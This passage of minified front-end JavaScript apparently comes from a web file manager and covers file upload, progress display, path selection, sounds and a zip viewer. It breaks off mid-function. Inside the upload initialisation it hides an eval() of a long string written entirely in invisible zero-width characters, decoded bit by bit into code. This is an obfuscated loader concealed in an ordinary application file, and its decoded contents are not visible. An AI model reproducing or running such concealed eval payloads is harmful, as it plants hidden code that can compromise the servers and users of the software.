t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var 